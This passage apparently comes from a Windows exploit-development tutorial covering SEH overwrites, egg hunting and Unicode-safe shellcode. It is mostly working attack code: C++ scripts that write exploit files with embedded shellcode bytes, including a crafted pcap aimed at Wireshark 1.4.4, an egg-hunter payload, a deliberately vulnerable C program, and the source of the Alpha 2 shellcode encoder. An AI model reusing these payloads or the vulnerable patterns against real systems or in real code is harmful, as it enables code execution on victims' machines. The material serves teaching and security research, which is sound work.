"\xd9\x1e\xcd\x41\xad\x79\xd2\x54\x62\xf2\xee\xdd\x85\xd5"
"\x66\xa5\xa1\xf1\x23\x7e\xcb\xa0\x89\xd1\xf4\xb3\x76\x8e"
"\x50\xbf\x95\xd9\xe5\x40\x66\xe6\xbb\x56\x92\x18\x44\xa7"
"\xd0\x6b\x21\xd5\x29\xb9\x87\x7d\x22\xd1\xd7\x15\xf6\x5e"
"\xfe\xe2\xf9\x75\x94\xec\xed\x7c\x69\xed\xed\x3c\x26\xab"
"\xcd\x94\xdd\x40\x7a\x14\xf6\xab\x82\x14\x06\xfc\xe7\x78"
"\x6a\x93\xc7\xf7\x1d\x19\x64\x93\xe1\xb7\x74\x33\xa7\xc4"
"\x23\xc4\xd8\x1e\xa1\xca\x4e\x51\x83\x68\xd8\x6e\x39";

int main() {
string junk(1036, 'A');
string eip("\x80\x6b\x83\x7c");
string debug("\xcc\xcc\xcc\xcc");
string nops(8, '\x90');
string shellcode(buf);

ofstream fout(EXPLOIT_FILENAME, ios::binary);
fout << junk << eip << debug << nops << shellcode;

cout << "Output file: " << EXPLOIT_FILENAME << "\nOK";
}

4.4 - Example: Attacking Network Applications

4.5 - Practice: KMPlayer

4.6 - Practice: DVD X Player

4.7 - Practice: Easy File Sharing FTP Server

4.8 - Practice: Apple QuickTime

Chapter 5 - Changes of Attacking

5.1 - Principles of Exception Handling Attack

We build the following project with VC++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//TestException.cpp
#include <cstdio> //for printf()
#include <cstdlib> //for system()

int main() {
__try {
__asm{NOP}
*(int*)0 = 0;
}
__except(1) {
__asm{NOP}
printf("got an exception\n");
}

system("pause");
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//TestException2.cpp
#include <cstdio>
#include <cstdlib>
#include <Windows.h>

unsigned dummy;

EXCEPTION_DISPOSITION
__cdecl
handler_function(
struct _EXCEPTION_RECORD *ExceptionRecord,
void *EstablisherFrame,
struct _CONSTEXT *ContextRecord,
void *DispatcherContext
)
{
printf("This is our exception handler.");
ContextRecord->Eax = (unsigned)&dummy;
}

int main() {
unsigned Handler = (unsigned)hander_function;

__asm {
push Handler // Push Handler into stack.
push FS:[0] // Push the address of ExceptionList into stack.
mov FS:[0],ESP // move _EXCEPTION_REGISTRATION_RECORD to the beginning of the ExceptionList.
}

__asm {
mov eax, 0 // Set EAX to be 0.
mov [eax], 0 // Set [EAX] to be 0.

/*
This part of code is equivalent to: *(int*)0 = 0;
*/
}

printf("After handling\n");

__asm {
mov eax,[ESP] // Load Next into EAX
mov FS:[0],EAX // Load EAX into ExceptionList
add esp,8 // Clear stack.
}

system("pause");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//TestException3.cpp
int main() {
__asm {
push Handler //Push exception handler into stack.
push FS:[0] //Push the current ExceptionList into stack.
mov FS:[0],ESP //Load new _EXCEPTION_REGISTRATION_RECORD into ExceptionList
}

*(int*)0 = 0; //Exception

__asm {
Handler: //Exception handler
INT 3 //Breakpoint
}
}

Open TestException3.exe with Immunity Debugger. Press F9 to execute the program. Press Alt+S to show SEH chain after the program thrown the exception:

Practice - Vulnerable001

Here we use Vulnerable001.exe in Chapter 4. The following script is our new attack script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//attack-vulnerable001-excp.cpp
#include <iostream>
#include <string>
#include <fstream>

using namespace std;

#define FILENAME "Vulnerable001_Excp_Exploit.txt"

int main() {
string junk(1500, 'A');

ofstream fout(FILENAME, ios::binary);
fout << junk;

cout << "OK: " << FILENAME << endl;
}

Open it with Immunity Debugger and input the path of Vulnerable001-Excp-Exploit.txt:

Press F9. Our program will be stopped. Press F9 to resume. EIP will be filled with 41414141:

Press Alt+S to show SEH chain window. Notice that the SEH structure of SEH chain is also filled by 41414141:

Now, we need to find the offset value with mona (We have done this many many times!):

1
!mona pattern_create 1500

Handler is replaced by 77423177 while Next is replaced by 42307742.

Check the stack (0x0022FFE0):

Notice that we almost reach the bottom. Which means we are not allowed to fill too much data between Next and Handler. A bunch of 1500 bytes data is meaningless since we cannot put all data into the stack.

Find the offset of 42307742 (Next):

And the offset of 77423177 (Handler).

We modify the attack script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//attack-vulnerable001-excp.cpp
#include <iostream>
#include <string>
#include <fstream>

using namespace std;

#define FILENAME "Vulnerable001_Excp_Exploit.txt"

int main() {
string junk(1440, 'A');
string next("\xcc\xcc\xcc\xcc");
string handler("\xef\xbe\xad\xde");

ofstream fout(FILENAME, ios::binary);
fout << junk << next << handler;

cout << "OK: " << FILENAME << endl;
}

1
!mona seh

Final attack script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//attack-vulnerable001-excp.cpp
#include <iostream>
#include <string>
#include <fstream>

using namespace std;

#define FILENAME "Vulnerable001_Excp_Exploit.txt"

char buf[] =
"\xb8\xd7\x13\x93\x1c\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x39\x31\x42\x12\x03\x42\x12\x83\x15\x17\x71\xe9\x65"
"\xf0\xfa\x12\x95\x01\x65\x9a\x70\x30\xb7\xf8\xf1\x61\x07"
"\x8a\x57\x8a\xec\xde\x43\x9d\x45\x94\x4d\x2a\xdb\x01\xa0"
"\xd3\x2d\x92\x6e\x17\x2f\x6e\x6c\x44\x8f\x4f\xbf\x99\xce"
"\x88\x76\xd7\x3f\x44\xdf\x9c\x92\x79\x54\xe0\x2e\x7b\xba"
"\x6e\x0e\x03\xbf\xb1\xfb\xbf\xbe\xe1\x8f\x08\xd8\x8a\xc8"
"\xa8\xd9\x5f\xb8\x2d\x10\x2b\x05\x67\x93\x2b\xfe\x43\x58"
"\xd2\xd7\x9d\x9e\x79\x16\x12\x13\x83\x5e\x95\xcb\xf6\x94"
"\xe5\x76\x01\x6f\x97\xac\x84\x70\x3f\x27\x3e\x55\xc1\xe4"
"\xd9\x1e\xcd\x41\xad\x79\xd2\x54\x62\xf2\xee\xdd\x85\xd5"
"\x66\xa5\xa1\xf1\x23\x7e\xcb\xa0\x89\xd1\xf4\xb3\x76\x8e"
"\x50\xbf\x95\xd9\xe5\x40\x66\xe6\xbb\x56\x92\x18\x44\xa7"
"\xd0\x6b\x21\xd5\x29\xb9\x87\x7d\x22\xd1\xd7\x15\xf6\x5e"
"\xfe\xe2\xf9\x75\x94\xec\xed\x7c\x69\xed\xed\x3c\x26\xab"
"\xcd\x94\xdd\x40\x7a\x14\xf6\xab\x82\x14\x06\xfc\xe7\x78"
"\x6a\x93\xc7\xf7\x1d\x19\x64\x93\xe1\xb7\x74\x33\xa7\xc4"
"\x23\xc4\xd8\x1e\xa1\xca\x4e\x51\x83\x68\xd8\x6e\x39";

int main() {
string next("\xEB\xF6" "\x90\x90"); // jmp short -0x88 # NOP x 2
string handler("\x4d\x25\x40\x00"); // 0040254d
string shellcode(buf);
string second_jumpcode("\xE9\xCF\xFE\xFF\xFF" "\x90\x90\x90"); // jmp -0x12c # NOP x 3
string nops(1440 - shellcode.size() - second_jumpcode.size(), '\x90');

ofstream fout(FILENAME, ios::binary);
fout << nops << shellcode << second_jumpcode << next << handler;

cout << "OK: " << FILENAME << endl;
}

Practice - Wireshark 1.4.4

1

Offset of Handler: 1243
Offset of Next: 1239

1
!mona seh

Here we use the address: ‘0x64F98F68’ (Don’t forget to check the bad chars for the address!)

Thus, the attack script is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//Filename: attack-wireshark.cpp
#include <string>
#include <iostream>
#include <fstream>

using namespace std;

typedef long int32;
typedef short int16;
typedef char int8;
typedef unsigned long uint32;
typedef unsigned short uint16;
typedef unsigned char uint8;

//PCAP Global Header
typedef __declspec(align(1)) struct pcap_hdr_s {
uint32 magic_number;
uint16 version_major;
uint16 version_minor;
int32 thiszone;
uint32 sigfigs;
uint32 snaplen;
uint32 network;
} pcap_hdr_t;

//PCAP Packet Header
typedef __declspec(align(1)) struct pcaprec_hdr_s {
uint32 ts_sec;
uint32 ts_usec;
uint32 incl_len;
uint32 orig_len;
} pcaprec_hdr_t;

size_t const ETHER_ADDR_LEN = 6;

//Ethernet II Header
typedef __declspec(align(1)) struct ether_hdr_s {
uint8 ether_dhost[ETHER_ADDR_LEN];
uint8 ether_short[ETHER_ADDR_LEN];
uint16 ether_type;
} ether_hdr_t;

string const TEMPLATE_FILE = "template.pcap";
string const EXPLOIT_FILE = "exploit.pcap";

char buf[] =
"\xb8\xd7\x13\x93\x1c\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x39\x31\x42\x12\x03\x42\x12\x83\x15\x17\x71\xe9\x65"
"\xf0\xfa\x12\x95\x01\x65\x9a\x70\x30\xb7\xf8\xf1\x61\x07"
"\x8a\x57\x8a\xec\xde\x43\x9d\x45\x94\x4d\x2a\xdb\x01\xa0"
"\xd3\x2d\x92\x6e\x17\x2f\x6e\x6c\x44\x8f\x4f\xbf\x99\xce"
"\x88\x76\xd7\x3f\x44\xdf\x9c\x92\x79\x54\xe0\x2e\x7b\xba"
"\x6e\x0e\x03\xbf\xb1\xfb\xbf\xbe\xe1\x8f\x08\xd8\x8a\xc8"
"\xa8\xd9\x5f\xb8\x2d\x10\x2b\x05\x67\x93\x2b\xfe\x43\x58"
"\xd2\xd7\x9d\x9e\x79\x16\x12\x13\x83\x5e\x95\xcb\xf6\x94"
"\xe5\x76\x01\x6f\x97\xac\x84\x70\x3f\x27\x3e\x55\xc1\xe4"
"\xd9\x1e\xcd\x41\xad\x79\xd2\x54\x62\xf2\xee\xdd\x85\xd5"
"\x66\xa5\xa1\xf1\x23\x7e\xcb\xa0\x89\xd1\xf4\xb3\x76\x8e"
"\x50\xbf\x95\xd9\xe5\x40\x66\xe6\xbb\x56\x92\x18\x44\xa7"
"\xd0\x6b\x21\xd5\x29\xb9\x87\x7d\x22\xd1\xd7\x15\xf6\x5e"
"\xfe\xe2\xf9\x75\x94\xec\xed\x7c\x69\xed\xed\x3c\x26\xab"
"\xcd\x94\xdd\x40\x7a\x14\xf6\xab\x82\x14\x06\xfc\xe7\x78"
"\x6a\x93\xc7\xf7\x1d\x19\x64\x93\xe1\xb7\x74\x33\xa7\xc4"
"\x23\xc4\xd8\x1e\xa1\xca\x4e\x51\x83\x68\xd8\x6e\x39";

int main() {
pcap_hdr_t global_header;
pcaprec_hdr_t packet_header;
ether_hdr_t ether_header;

size_t const OFFSET_LEN = 1239;
string nops(OFFSET_LEN, '\x90');
string next = "\xEB\x0A\x90\x90"; // JMP SHORT 0x0C (EB0A) # NOPx2
string handler = "\x68\x8f\xf9\x64"; // 64F98F68
string slide(50, '\x90');
string shellcode(buf);

string exploit = nops + next + handler + slide + shellcode;

ifstream fin(TEMPLATE_FILE.c_str(), ios::binary);
fin.read((char*)&global_header, sizeof(global_header)).
read((char*)&packet_header, sizeof(packet_header)).
read((char*)&ether_header, sizeof(ether_header));

packet_header.incl_len = packet_header.orig_len = sizeof(ether_header) + exploit.size();

ether_header.ether_type = 0x2323;

ofstream fout(EXPLOIT_FILE.c_str(), ios::binary);
fout.write((char*)&global_header, sizeof(global_header)).
write((char*)&packet_header, sizeof(packet_header)).
write((char*)&ether_header, sizeof(ether_header))
<< exploit;

cout << "OK: " << EXPLOIT_FILE << endl;
}

5.2 - Egg Hunt

NtDisplayString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
loop_inc_page:
or dx,0x0fff

loop_inc_one:
inc edx

loop_check:
push edx
push 0x43

pop eax
int 0x2e
cmp al,0x05

pop edx
loop_check_8_valid:
je loop_inc_page

is_egg:
mov eax,0x50905090
mov edi,edx
scasd
jnz loop_inc_one

scasd

jnz loop_inc_one

matched:
jmp edi

WinDbg:

1
lkd> dds nt!KeServiceDescriptorTable L4

  • lkd: Local Kernel Debug
  • dds: display dword symbol
1
lkd> dds nt!KiServiceTable

NtAccessCheckAndAlarm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
loop_inc_page:
or dx, 0x0fff

loop_inc_one:
inc edx

loop_check:
push edx
push 0x02

pop eax
int 0x2e
cmp al,0x05

pop edx
loop_check_8_valid:
je loop_inc_page

is_egg:
mov eax, 0x50905090
mov edi,edx
scasd
jnz loop_inc_one

scasd

jnz loop_inc_one

matched:
jmp edi

Egg Hunt Practice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//vulnerable004.c
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
FILE *pFile;
char *long_buffer;
char short_buf[64];
printf("Vulnerable004 starts...\n");

if (argc >= 2) pFile = fopen(argv[1], "r");
if (pFile) {
long_buffer = malloc(2048);
fscanf(pFile, "%s", long_buffer);

//do something

free(long_buffer);

fscanf(pFile, "%s", short_buf);
}

printf("Vulnerable004 ends...\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//attack-vulnerable004.cpp
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

string const OUTPUT_FILE = "exploit-vulnerable004.txt";

int main() {
ofstream fout(OUTPUT_FILE.c_str());

string junk1(1000, 'A');
string junk2(200, 'B');

fout << junk1 << '\n'
<< junk2 << endl;

cout << "OK: " << OUTPUT_FILE << endl;
}
1
!mona jmp -r esp

Exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//attack-vulnerable004.cpp
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

string const OUTPUT_FILE = "exploit-vulnerable004.txt";

char eggcode[] =
"\xb8\xd7\x13\x93\x1c\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x39\x31\x42\x12\x03\x42\x12\x83\x15\x17\x71\xe9\x65"
"\xf0\xfa\x12\x95\x01\x65\x9a\x70\x30\xb7\xf8\xf1\x61\x07"
"\x8a\x57\x8a\xec\xde\x43\x9d\x45\x94\x4d\x2a\xdb\x01\xa0"
"\xd3\x2d\x92\x6e\x17\x2f\x6e\x6c\x44\x8f\x4f\xbf\x99\xce"
"\x88\x76\xd7\x3f\x44\xdf\x9c\x92\x79\x54\xe0\x2e\x7b\xba"
"\x6e\x0e\x03\xbf\xb1\xfb\xbf\xbe\xe1\x8f\x08\xd8\x8a\xc8"
"\xa8\xd9\x5f\xb8\x2d\x10\x2b\x05\x67\x93\x2b\xfe\x43\x58"
"\xd2\xd7\x9d\x9e\x79\x16\x12\x13\x83\x5e\x95\xcb\xf6\x94"
"\xe5\x76\x01\x6f\x97\xac\x84\x70\x3f\x27\x3e\x55\xc1\xe4"
"\xd9\x1e\xcd\x41\xad\x79\xd2\x54\x62\xf2\xee\xdd\x85\xd5"
"\x66\xa5\xa1\xf1\x23\x7e\xcb\xa0\x89\xd1\xf4\xb3\x76\x8e"
"\x50\xbf\x95\xd9\xe5\x40\x66\xe6\xbb\x56\x92\x18\x44\xa7"
"\xd0\x6b\x21\xd5\x29\xb9\x87\x7d\x22\xd1\xd7\x15\xf6\x5e"
"\xfe\xe2\xf9\x75\x94\xec\xed\x7c\x69\xed\xed\x3c\x26\xab"
"\xcd\x94\xdd\x40\x7a\x14\xf6\xab\x82\x14\x06\xfc\xe7\x78"
"\x6a\x93\xc7\xf7\x1d\x19\x64\x93\xe1\xb7\x74\x33\xa7\xc4"
"\x23\xc4\xd8\x1e\xa1\xca\x4e\x51\x83\x68\xd8\x6e\x39";

char huntercode[] =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"R0CK"
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

int main() {
size_t const RET_OFFSET = 84;
ofstream fout(OUTPUT_FILE.c_str());

string egg(eggcode);
string padding(RET_OFFSET, 'A');
string ret("\x13\x4f\x87\x7c"); //7C874F13
string hunter(huntercode);

fout << "R0CKR0CK" << egg << '\n'
<< padding << ret << hunter;

cout << "OK: " << OUTPUT_FILE << endl;
}

Egg Hunt Practice——Kolibri Web Server

5.3 – Unicode-Based Exploitation Techniques

Principle

A = \x41 in ASCII representation
A = \x00\x41 in Unicode (UTF-16LE) representation, where \x00 is the null byte.

When converting from ASCII to Unicode, values from \x00 to \x7F remain unchanged, except that they are prefixed with \x00.
On the other hand, values from \x80 to \xFF may be converted differently depending on the code page.

Consequently, only values from \x00 to \x7F are suitable for buffer overflow exploitation, since these values remain consistent across different Windows systems, even when different language settings are used.
In contrast, values from \x80 to \xFF are unpredictable.

We can use Alpha 2 (Berend-Jan Wever) to solve these problem:
Alpha 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
//Author: Berend-Jan Wever
#include <stdio.h> // printf(), fprintf(), stderr
#include <stdlib.h> // exit(), EXIT_SUCCESS, EXIT_FAILURE, srand(), rand()
#include <string.h> // strcasecmp(), strstr()
#include <sys/time.h> //struct timeval, struct timezone, gettimeofday()

#define VERSION_STRING "ALPHA 2: Zero-tolerance. (build 07)"
#define COPYRIGHT "Copyright (C) 2003, 2004 by Berend-Jan Wever."
/*
________________________________________________________________________________

,sSSs,,s, ,sSSSs, ALPHA 2: Zero-tolerance.
SS" Y$P" SY" ,SY
iS' dY ,sS" Unicode-proof uppercase alphanumeric shellcode encoding.
YS, dSb ,sY" Copyright (C) 2003, 2004 by Berend-Jan Wever.
`"YSS'"S' 'SSSSSSSP <skylined@edup.tudelft.nl>
________________________________________________________________________________

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.

Acknowledgements:
Thanks to rix for his phrack article on aphanumeric shellcode.
Thanks to obscou for his phrack article on unicode-proof shellcode.
Thanks to Costin Ionescu for the idea behind w32 SEH GetPC code.
Thanks to spoonm for inspiration and suggestions, check out his 1337 perl
conversion of ALPHA in the metasploit framework (with polymorphism!)
*/

#define mixedcase_w32sehgetpc "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36" \
"FFFFTXVj0PPTUPPa301089"
#define uppercase_w32sehgetpc "VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYY" \
"P5YYYD5KKYAPTTX638TDDNVDDX4Z4A638618" \
"16"
#define mixedcase_ascii_decoder_body "jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
#define uppercase_ascii_decoder_body "VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0B" \
"BXP8ACJJI"
#define mixedcase_unicode_decoder_body "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIA" \
"IAJ11AIAIABABABQI1AIQIAIQI111AIAJQYA" \
"ZBABABABABkMAGB9u4JB"
#define uppercase_unicode_decoder_body "QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5" \
"AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABAB" \
"QI1AIQIAIQI1111AIAJQI1AYAZBABABABAB3" \
"0APB944JB"

struct decoder {
char* id; // id of option
char* code; // the decoder
} mixedcase_ascii_decoders[] = {
{ "nops", "IIIIIIIIIIIIIIIIII7" mixedcase_ascii_decoder_body },
{ "eax", "PYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "ecx", "IIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "edx", "JJJJJJJJJJJJJJJJJ7RY" mixedcase_ascii_decoder_body },
{ "ebx", "SYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "esp", "TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "ebp", "UYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "esi", "VYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "edi", "WYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLLLLLLLLLYIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLYIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLYIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp-4]", "LLLLYIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp]", "YIIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+4]", "YYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+8]", "YYYIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+C]", "YYYYIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+10]", "YYYYYIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+14]", "YYYYYYIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYYIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYYIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
{ "seh", mixedcase_w32sehgetpc "IIIIIIIIIIIIIIIII7QZ" // ecx code
mixedcase_ascii_decoder_body },
{ NULL, NULL }
}, uppercase_ascii_decoders[] = {
{ "nops", "IIIIIIIIIIII" uppercase_ascii_decoder_body },
{ "eax", "PYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "ecx", "IIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "edx", "JJJJJJJJJJJRY" uppercase_ascii_decoder_body },
{ "ebx", "SYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "esp", "TYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "ebp", "UYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "esi", "VYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "edi", "WYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLLLLLLLLLYII7QZ" uppercase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLYIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLYIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp-4]", "LLLL7YIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp]", "YIIIIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+4]", "YYIIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp+8]", "YYYIIIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+C]", "YYYYIIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp+10]", "YYYYYIIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+14]", "YYYYYYIIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYYIIIIIII7QZ" uppercase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYYIIIIIIIQZ" uppercase_ascii_decoder_body },
{ "seh", uppercase_w32sehgetpc "IIIIIIIIIIIQZ" // ecx code
uppercase_ascii_decoder_body },
{ NULL, NULL }
}, mixedcase_ascii_nocompress_decoders[] = {
{ "nops", "7777777777777777777777777777777777777" mixedcase_ascii_decoder_body },
{ "eax", "PY777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "ecx", "77777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "edx", "77777777777777777777777777777777777RY" mixedcase_ascii_decoder_body },
{ "ebx", "SY777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "esp", "TY777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "ebp", "UY777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "esi", "VY777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "edi", "WY777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLLLLLLLLLY777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLY7777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLY77777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp-4]", "LLLL7Y77777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp]", "Y7777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+4]", "YY777777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+8]", "YYY77777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+C]", "YYYY7777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+10]", "YYYYY777777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+14]", "YYYYYY77777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYY7777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYY777777777777777777777777777QZ" mixedcase_ascii_decoder_body },
{ "seh", mixedcase_w32sehgetpc "77777777777777777777777777777777777QZ" // ecx code
mixedcase_ascii_decoder_body },
{ NULL, NULL }
}, uppercase_ascii_nocompress_decoders[] = {
{ "nops", "777777777777777777777777" uppercase_ascii_decoder_body },
{ "eax", "PY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "ecx", "7777777777777777777777QZ" uppercase_ascii_decoder_body },
{ "edx", "7777777777777777777777RY" uppercase_ascii_decoder_body },
{ "ebx", "SY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "esp", "TY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "ebp", "UY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "esi", "VY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "edi", "WY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp-10]", "LLLLLLLLLLLLLLLLY77777QZ" uppercase_ascii_decoder_body },
{ "[esp-C]", "LLLLLLLLLLLLY777777777QZ" uppercase_ascii_decoder_body },
{ "[esp-8]", "LLLLLLLLY7777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp-4]", "LLLL7Y7777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp]", "Y777777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+4]", "YY77777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+8]", "YYY7777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+C]", "YYYY777777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+10]", "YYYYY77777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+14]", "YYYYYY7777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+18]", "YYYYYYY777777777777777QZ" uppercase_ascii_decoder_body },
{ "[esp+1C]", "YYYYYYYY77777777777777QZ" uppercase_ascii_decoder_body },
{ "seh", uppercase_w32sehgetpc "7777777777777777777777QZ" // ecx code
uppercase_ascii_decoder_body },
